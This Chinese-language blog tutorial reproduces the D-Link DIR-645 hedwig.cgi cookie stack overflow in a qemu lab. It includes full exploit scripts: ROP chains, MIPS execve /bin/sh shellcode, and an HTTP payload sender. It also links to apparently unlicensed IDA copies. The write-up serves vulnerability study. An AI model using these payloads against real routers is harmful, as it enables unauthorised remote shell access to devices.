前言

分析一个D-Link的漏洞学习一下路由器漏洞方面的知识，《路由器0day》这本书提到的DIR-815 cookie溢出漏洞的固件在官网上已经找不到了，但是此漏洞影响的范围包括了DIR-645，故用DIR-645 1.01版本的固件分析

分析用到的工具：

IDA Pro：反汇编和远程调试

Ghidra 9.1.2：我的IDA不能生成mips的伪代码，所以我用ghidra来看伪代码

Ubuntu + qemu：模拟路由器运行环境

固件下载链接：ftp://ftp2.dlink.com/PRODUCTS/DIR-645/REVA/DIR-645_FIRMWARE_1.01.ZIP

使用如下命令将文件系统提取出来：

binwalk -e DIR645A1_FW101B06.bin

从书中得知漏洞存在于./htdocs/cgibin中，将cgibin拷贝到物理机中，使用IDA分析，shift+F12打开字符串窗口，搜索“HTTP_COOKIE”

双击这一项，定位到rodata段查看详细信息，选中aHttpCookie，按X键查看调用信息（ghidra则是选中函数名，右键->References->find References to #function name#）

双击后进入sess_get_uid函数，此函数只是使用了“HTTP_COOKIE”字符串，继续按X键查看调用信息

双击进入hedwigcgi_main函数，看到调用sess_get_uid函数之后紧接着调用了sprintf函数（PS：之所以用sprintf而不是strcpy是因为strcpy只能是字符串到字符串，而sprintf可以是从任意类型到字符串），而sprintf函数就是导致栈溢出的重要函数；接下来需要用IDA进行远程调试，调试之前需要对书中自带的脚本进行一些修改，修改后如下：

#!/bin/bash
#sudo ./pentest_cgi.sh 'uid=1234' `python -c "print 'uid=123'+'A'*0x600"`
 
INPUT="$1"
TEST="$2"
LEN=$(echo -n "$INPUT" | wc -c)
PORT="1234"
 
if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]
then
         echo -e "\nUsage: sudo $0 \n"
         exit 1
fi
#需要将qemu-mipsel改成qemu-mipsel-static
cp $(which qemu-mipsel-static) ./qemu
 
echo "$INPUT" | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$TEST -E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="192.168.1.1" -g $PORT /htdocs/web/hedwig.cgi
echo 'run ok'
rm -f ./qemu

使用第二行注释中的命令运行脚本，开启远程调试，接下来会详细讲解如何用IDA远程调试DIR-645路由器固件（主要是本人使用IDA时花一天才解决此问题o(╥﹏╥)o）；首先用IDA打开cgibin文件，并定位到上面讲的sprintf函数（注意是“jalr    $t9 ; sprintf”那一行），然后F2下断点

然后在Ubuntu中运行pentest_cgi.sh脚本（运行命令在文件的第二行注释），并等待调试

在IDA中选择Debugger->select Debugger…在对话框中选择GDB debugger然后点击OK

重新选择Debugger->Process options… 输入远程路径、hostname和端口，然后单击OK

最后点击Debugger->Attach to process… 我的选择框中只有一项，所以就选这一项，然后单击OK

附加成功后无需再下断点，直接按F9就可以停在调用sprintf函数的位置上

在Hex View窗口右键Synchronize with -> SP，这样窗口就会跟着程序走了，方便观察栈溢出

修改pentest_cgi.sh然后配合patternLocOffset.py算出溢出位置，修改后的pentest_cgi.sh代码如下：

# !/bin/bash
#
# 载入定位字符串，设置环境变量，模拟真实的运行环境，IDA远程调试执行
#
# hedwig.cgi -> /htdocs/cgibin
TEST=$(python2.7 -c "print'uid='+open('dir645_patternLocOffset_test','r').read()")
echo $TEST
LEN=$(echo -n $TEST|wc -c)
echo $LEN
sudo cp $(which qemu-mipsel-static) ./
sudo chroot $PWD /qemu-mipsel-static -E CONTENT_TYPE="application/x-www-form-urlencoded" -E HTTP_COOKIE=$TEST -E CONTENT_LENGTH=$LEN -E REQUEST_URI="/hedwig.cgi" -E REQUEST_METHOD="POST" -E REMOTE_ADDR="192.168.80.133" -g 1234 /htdocs/web/hedwig.cgi

这个pentest_cgi.sh脚本在之后漏洞利用测试的时候也会用到

使用patternLocOffset.py测试固件溢出位置，命令如下：

python2.7 ./patternLocOffset.py -c -l 2000 -f dir645_patternLocOffset_test

直接执行pentest_cgi.sh，并且用IDA附加调试，得到溢出的偏移

将程序报错时显示的字符串带入patternLocOffset工具中，得出偏移位置

查找ROP链时需要用到mipsrop插件，这个插件对IDA7的支持不好，需要用到IDA68，使用时将GitHub上下载的ida工程中的shims和mipsrop两个文件夹下的py文件全都复制到IDA的plugin目录中

在IDA68中输入命令：mipsrop.stackfinder()

得到以下可做ROP的地址，选择0x159cc

IDA中的mipsrop只是得到ROP的偏移，还需要找到libc.so.0的基地址，

使用qemu模拟mips系统运行时需要先解决网络问题，否则无法传文件；有两种方法，其中一种是修改/etc/network/interfaces文件，这种方法我始终无法成功，所以我选择创建网桥的方法，命令如下：

创建网桥：

sudo brctl addbr virbr0
sudo ifconfig virbr0 192.168.122.1/24 up

创建tap接口，并添加到网桥：

sudo tunctl -t tap0
sudo ifconfig tap0 192.168.122.11/24 up
sudo brctl addif virbr0 tap0

使用命令，启动镜像：

qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=ttyS0" -net nic,macaddr=00:0c:29:d4:72:11 -net tap -nographic

进入虚拟机（虚拟机账号/密码：root/root）后需要设置IP，这一步并不是必须的，例如我并没有设置IP就直接可以联网了：

ifconfig eth0 192.168.122.12/24 up

我在没有设置IP的情况下直接ping www.baidu.com可以ping通

接下来需要用scp命令把路由器的所有文件从Ubuntu中复制到Debian中，命令如下（IP改成自己的Debian的IP）：

scp -r ./squashfs-root  root@192.168.254.132:/root/

运行漏洞代码前先将ASLR关闭

echo 0 > /proc/sys/kernel/randomize_va_space

第一个看似libc.so.0的基地址，实则并不是，有前辈分析此漏洞时使用这种方法成功找到过libc基址，但是我始终无法成功，所以我采用第二种方法

第二种方法是使用qemu的用户模式调试，需要注意的是这种调试方式当qemu-user版本过低时，使用gdb远程调试会出现如下问题

qemu:handle_cpu_signal received signal outside vCPU context @ pc=0x601665d2

此时gdb会显示这是一个bug，并要求你上报

这个错误其实是qemu的一个bug，Ubuntu18.04适配的是2.11.1版本的qemu，此时需要将qemu升级到4.2以上的版本，有两种方法：

1、在GitHub上下载源码，并编译

2、使用Ubuntu20.04及以上版本下载qemu，因为Ubuntu20.04适配的就是qemu 4.2

我选择的是使用Ubuntu20.04运行qemu调试，而Ubuntu20.04是个大坑；首先Ubuntu20.04的源仓库中并没有包含Python2的pip，所以需要使用get-pip.py来安装pip2：

apt-get install python2
curl https://bootstrap.pypa.io/get-pip.py --output get-pip.py
python2 get-pip.py

使用GitHub或者apt安装好binwalk后使用binwalk提取固件，可能会报此错误

需要手动安装一下sasquatch，命令如下：

sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev
git clone https://github.com/devttys0/sasquatch
cd sasquatch && ./build.sh

当一切就绪时，运行pentest_cgi.sh脚本，然后使用gdb远程调试

gdb-multiarch ./htdocs/cgibin
set arch mips
set endian big
target remote 192.168.80.133:1234

使用之前获得的libc基址+偏移构造ROP链，poc代码如下：

# coding:utf-8
 
import sys
import time
import string
import socket
from random import Random
import urllib, urllib2, httplib
 
class MIPSPayload:
    BADBYTES=[0x00]
    LITTLE = "little"
    BIG = 'big'
    FILLER = 'A'
    BYTES = 4
    def __init__(self,libase=0, endianess=LITTLE, badbytes=BADBYTES):
        self.libase = libase
        self.shellcode = ""
        self.endianess = endianess
        self.badbytes = badbytes
    def rand_text(self, size):
        str = ''
        chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789'
        length = len(chars) - 1
        random = Random()
        for i in range(size):
            str += chars[random.randint(0,length)]
            return str
 
    def Add(self, data):
        self.shellcode += data
 
    # get RA addr
    def Address(self, offset, base=None):
        if base is None:
            base = self.libase
        return self.ToString(base + offset)
 
    def AddAddress(self, offset, base=None):
        self.Add(self.Address(offset, base))
 
    def AddBuffer(self,size, byte=FILLER):
        self.Add(byte * size)
 
    def AddNops(self, size):
        if self.endianess == self.LITTLE:
            self.Add(self.rand_text(size))
        else:
            self.Add(self.rand_text(size))
 
    def ToString(self,value, size= BYTES):
        data =''
        for i in range(0, size):
            data += chr((value >> (8*i)) & 0xFF)
        if self.endianess != self.LITTLE:
            data = data[::-1]
        return  data
 
    def Build(self):
        count = 0
        for c in self.shellcode:
            for cbyte in self.badbytes:
                if c == chr(cbyte):
                    raise Exception("Bad byte found in shellcode at offset %d: 0x%.2x"%(count,cbyte))
            count +=1
        return self.shellcode
 
    def Print(self, bp1=BYTES):
        i = 0
        for c in self.shellcode:
            if i == 4:
                print ""
                i = 0
            sys.stdout.write("\\x%.2X"%ord(c))
            sys.stdout.flush()
            if bp1 > 0:
                i += 1
        print "\n"
 
class HTTP:
    HTTP = 'http'
    def __init__(self, host, proto=HTTP, verbose=False):
        self.host = host
        self.proto = proto
        self.verbose = verbose
        self.encode_params = True
 
    def Encode(self, data):
        #just for DIR645
        if type(data) == dict:
            pdata =[]
            for k in data.keys():
                pdata.append(k + '=' + data[k])
            data = pdata[1] + '&' + pdata[0]
        else:
            data = urllib.quote_plus(data)
            return  data
 
    def Send(self, uri='', headers={}, data=None, response=False, encode_params=True):
        html = ""
        if uri.startswith('/'):
            c = ''
        else:
            c = '/'
        url = '%s://%s'%(self.proto, self.host)
        uri = '/%s'%uri
 
        if data is not None:
            data = self.Encode(data)
        #print data
        if self.verbose:
            print url
 
        httpcli = httplib.HTTPConnection(self.host, 80, timeout=30)
        httpcli.request('POST', uri, data, headers=headers)
        response=httpcli.getresponse()
        print response.status
        print response.read()
 
if __name__ == '__main__':
 
    libc = 0x7f738000 #0x40854000
 
    '''
    ROP
    $ra = 0x77f34000 +  0x000158C8
 
    *************************************************
    $s5 = 0x77f34000 + 0x159cc
    $s0 = 0x77f34000 + 0x531FF
 
    0x158c8: 
        .text:000158C8                 move    $t9, $s5
        .text:000158CC                 jalr    $t9
        .text:000158D0                 addiu   $s0, 1
    *************************************************    
    $s0 = 0x77F87200    :system
    $s5 = commandAddr = $sp+0x10
 
    0x159cc:
        .text:000159CC                 addiu   $s5, $sp, 0x10
        .text:000159D0                 move    $a1, $s3
        .text:000159D4                 move    $a2, $s1
        .text:000159D8                 move    $t9, $s0
        .text:000159DC                 jalr    $t9 ; mempcpy
    '''
    
    target = {
        "645-1.01":[0x531ff, 0x158c8, 0x159cc],
    }
    v = '645-1.01'
    cmd = '/bin/sh'
    ip = '192.168.0.1'
    payload = MIPSPayload(endianess="little", badbytes=[0x0d, 0x0a])
 
    payload.AddBuffer(1007)                       #filler
    payload.AddAddress(target[v][0], base=libc)   #$s0      0x77f34000 + 0x531ff
    payload.AddBuffer(4)                          #$s1
    payload.AddBuffer(4)                          #$s2
    payload.AddBuffer(4)                          #$s3
    payload.AddBuffer(4)                          #$s4
    payload.AddAddress(target[v][2], base=libc) #$s5      # 0x77f34000 +0x159cc
    payload.AddBuffer(4)                          #unused($s6)
    payload.AddBuffer(4)                          #unused($s7)
    #payload.Add(payload.ToString(0x0043B6D0))
    payload.AddBuffer(4)                          #unused($gp)
    # 1043
    payload.AddAddress(target[v][1], base=libc) #$ra  # 0x77f34000 +0x158c8= 0x77F498C8
    payload.AddBuffer(4)                          # fill
    payload.AddBuffer(4)                          # fill
    payload.AddBuffer(4)                          # fill
    payload.AddBuffer(4)                          # fill
    payload.Add(cmd)                            # shellcode
 
    pdata = {
        'uid':'shuidi',
        'password':'shuidi',
    }
    print payload.shellcode
    payload = payload.Build()
    print payload
 
    fw = open('dir645_patternLocOffset_test', 'w')
    fw.write(payload)  # 'A'
    fw.close()
    
    '''
    header = {
        'Cookie' : 'uid='+payload.Build(),
        'Accept-Encoding' : 'gzip, deflate',
        'Content-Type' : 'application/x-www-form-urlencoded',
        'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)'
    }
    try:
        HTTP(ip).Send('hedwig.cgi',data=pdata, headers=header, encode_params=False,response=True)
    except httplib.BadStatusLine:
        print "Payload deliverd."
    except Exception,e:
        print "2Payload delivery failed: %s" % str(e)
'''

以上是《路由器0day》一书中的原版poc脚本，接下来是简单版本的poc脚本：

from pwn import *
 
context.endian = "little"
context.arch = "mips"
base_addr = 0x7f738000
system_addr_1 = 0x53200-1
gadget1 = 0x45988
gadget2 = 0x159cc
 
padding = 'A' * 0x3cd
padding += p32(base_addr + system_addr_1) # s0
padding += p32(base_addr + gadget2)       # s1
padding += 'A' * 4                        # s2
padding += 'A' * 4                        # s3
padding += 'A' * 4                        # s4
padding += 'A' * 4                           # s5
padding += 'A' * 4                        # s6
padding += 'A' * 4                        # s7
padding += 'A' * 4                        # fp
padding += p32(base_addr + gadget1)       # ra
padding += 'B' * 0x10
padding += '/bin//sh'
 
f = open("exploit",'wb+')
f.write(padding)
f.close()

运行脚本，将payload打印到之前用patternLocOffset.py创建的文件dir645_patternLocOffset_test中，然后运行pentest_cgi.sh，启动远程调试

在system执行时发生了中断，当前指令是想从（fp+0x10）处取一个字节给$gp，但是fp是空指针，所以（fp+0x10）并不存在，所以会直接报错

至此我不得不采用另一种方法：编写shellcode从而获得shell；此种方法需要了解一些mips的缓存机制；mips的CPU有两个独立的cache：指令cache和数据cache；具体细节无需过多的纠结，我们只需要知道不能让shellcode写入到数据cache中，所以我们需要让缓存在写shellcode之前先满一次，缓存满了就会触发flush，然后将shellcode写到主内存中；

最简单的让缓存数据写入内存的方法是调用堵塞函数，例如sleep()函数，整个rop的流程图如下

图中的mipsrop就是IDA插件中mipsrop的命令，可以直接使用

此处gadget可以直接跳转至s1处的地址，但是不能直接将sleep()函数的地址放到s1中，因为sleep()函数在最后会执行“jr  $ra”，而“ra”寄存器我们无法控制，所以还需要再找一个gadget控制“ra”寄存器

此gadget将“$sp+0x28”处的地址给“ra”，这就使sleep()在最后变得可控，同时此gadget最后会跳转到“$s2”处的地址，可以将sleep()函数的地址放到“s2”寄存器中，sleep()函数的偏移是0x56bd0

使用“mipsrop.stackfinder()”命令寻找一个可以存放shellcode的位置，并且还会跳转到“s4”的位置；最后需要找一个能跳转到“s1”寄存器的gadget

在寻找gadget是需要注意不能出现：0x20（空格）、0x00（结束符）、0x3a（冒号）、0x3f（问号）、0x3b（分号）、0x0a(n换行符)等

找到gadget后就是shellcode的编写，pwntools提供了一个非常好用的asm()函数，不过原版的pwntools并不能直接编译mips的汇编，需要安装mipsel的binutils，

安装mipsel的binutils命令如下：

apt-get install binutils-mipsel-linux-gnu

安装完成后直接打开Python2，输入以下命令就行了：

>>> from pwn import *
>>> context.arch='mips'
>>> asm("slti $a2, $zero, -1")
'\xff\xff\x06('

输出的十六进制代码有三个字节外加一个括号，但当我们执行如下命令就会发现其实不影响执行

>>> b'\xff\xff\x06\x28'=='\xff\xff\x06('
True

最终的poc脚本如下：

from pwn import *
 
context.endian="little"
context.arch="mips"
libc_base = 0x7f738000
sleep = 0x56BD0
gadget1 = 0x57E50
gadget2 = 0x3B8A8
gadget3 = 0x14F28
gadget4 = 0x1DD08
 
# Linux/MIPS - execve /bin/sh - 48 bytes
shellcode = "\xff\xff\x06\x28"  # slti $a2, $zero, -1
shellcode += "\x62\x69\x0f\x3c"  # lui $t7, 0x6962
shellcode += "\x2f\x2f\xef\x35"  # ori $t7, $t7, 0x2f2f
shellcode += "\xf4\xff\xaf\xaf"  # sw $t7, -0xc($sp)
shellcode += "\x73\x68\x0e\x3c"  # lui $t6, 0x6873
shellcode += "\x6e\x2f\xce\x35"  # ori $t6, $t6, 0x2f6e
shellcode += "\xf8\xff\xae\xaf"  # sw $t6, -8($sp)
shellcode += "\xfc\xff\xa0\xaf"  # sw $zero, -4($sp)
shellcode += "\xf4\xff\xa4\x27"  # addiu $a0, $sp, -0xc
shellcode += "\xff\xff\x05\x28"  # slti $a1, $zero, -1
shellcode += "\xab\x0f\x02\x24"  # addiu;$v0, $zero, 0xfab
shellcode += "\x0c\x01\x01\x01"  # syscall 0x40404
 
payload = 'A' * 0x3ef                     #1043-4*9
payload += 'A' * 4                           # s0
payload += p32(libc_base + gadget2)       # s1 = mipsrop.tail() && move $ra,$(sp+0x24) && jr s2
payload += p32(libc_base + sleep)         # s2 = jr $(sp+0x24)
payload += 'A' * 4                        # s3
payload += p32(libc_base + gadget4)       # s4 = mipsrop.find("move $t9,$s1") && jr shellcode
payload += 'A' * 4                           # s5
payload += 'A' * 4                        # s6
payload += 'A' * 4                        # s7
payload += 'A' * 4                        # fp
payload += p32(libc_base + gadget1)       # fisrt_ra = mipsrop.find("li $a0,1") && jr s1
payload += 'B' * 0x24 # mipsrop.tail() 0x24B padding
payload += p32(libc_base + gadget3)       # $(sp+0x24) = mipsrop.stackfinder() && move s1,$(sp+0x18) && jr $s4
 
payload += 'c' * 0x18 # mipsrop.stackfinder() 0x18B padding
payload += shellcode
 
f = open("exploit",'wb+')
f.write(payload)
f.close()

使用Python2执行此脚本后，会将整个rop链+shellcode写入exploit文件中，然后将pentest_cgi.sh修改为读取exploit：

# !/bin/bash
#
# 载入定位字符串，设置环境变量，模拟真实的运行环境，IDA远程调试执行
#
# hedwig.cgi -> /htdocs/cgibin
TEST=$(python2.7 -c "print'uid='+open('exploit','r').read()")
echo $TEST
LEN=$(echo -n $TEST|wc -c)
echo $LEN
sudo cp $(which qemu-mipsel-static) ./
sudo chroot $PWD ./qemu-mipsel-static -E CONTENT_TYPE="application/x-www-form-urlencoded" -E HTTP_COOKIE=$TEST -E CONTENT_LENGTH=$LEN -E REQUEST_URI="/hedwig.cgi" -E REQUEST_METHOD="POST" -E REMOTE_ADDR="192.168.80.128" -g 1234 /htdocs/web/hedwig.cgi

在运行pentest_cgi.sh脚本之前记得将脚本中的IP地址修改为本机的IP；

运行pentest_cgi.sh脚本，然后用gdb远程调试，进入gdb后直接在sleep函数下断，然后一直步过（“ni”），当sleep函数运行完成后就会执行shellcode，最后执行完syscall后就能得到shell了

结束语

虽然成功的截图只是简单的两张图片，但是调试+环境搭建的过程却是漫长的过程，在教程中我能成功的方法有前辈无法成功，为了避免再次给后人挖坑，我还会做一篇使用qemu的系统模式复现此漏洞的教程（具体做不做看心情            ╮(╯▽╰)╭）

为了方便大家分析，我将我用到的工具通过百度网盘分享

Ubuntu的下载：

链接：https://pan.baidu.com/s/1s-6nLu_mWDsK2BtiVnQNaQ
提取码：gb39 

路由器固件（dir-645_FW_1.01）：

链接：https://pan.baidu.com/s/19v7Wbsx2A3PaeusvKq6HzQ
提取码：sf99

路由器固件（dir-645_FW_1.03）：

链接：https://pan.baidu.com/s/1r7qT0pBB8L3mu42FCKXqVw
提取码：yw0f

IDA6.8：

链接：https://pan.baidu.com/s/15QPcpWfQUBv_Bp7VnSs65Q
提取码：al6w

IDA7.0：

链接：https://pan.baidu.com/s/1XPIaVcb_YB6xaio2H2_jeA
提取码：1knk

mipsrop插件：

链接：https://pan.baidu.com/s/1sWjzPwSqSBDPEzDAZsQQyg
提取码：xwu6

qemu系统模式需要用到的mipsel版本的Debian：

链接：https://pan.baidu.com/s/1rCMM4s3OqShskfUs0NW9lA
提取码：nvnw

参考此漏洞复现教程：

https://www.anquanke.com/post/id/206626#h2-13

https://www.anquanke.com/post/id/179510#h3-6

https://mp.weixin.qq.com/s/gpVMcPjfP2HDZisZhy0fig

还有许多教程的链接我已经找不到了，在此一并感谢！！

感谢胡一米版主的耐心指导！！

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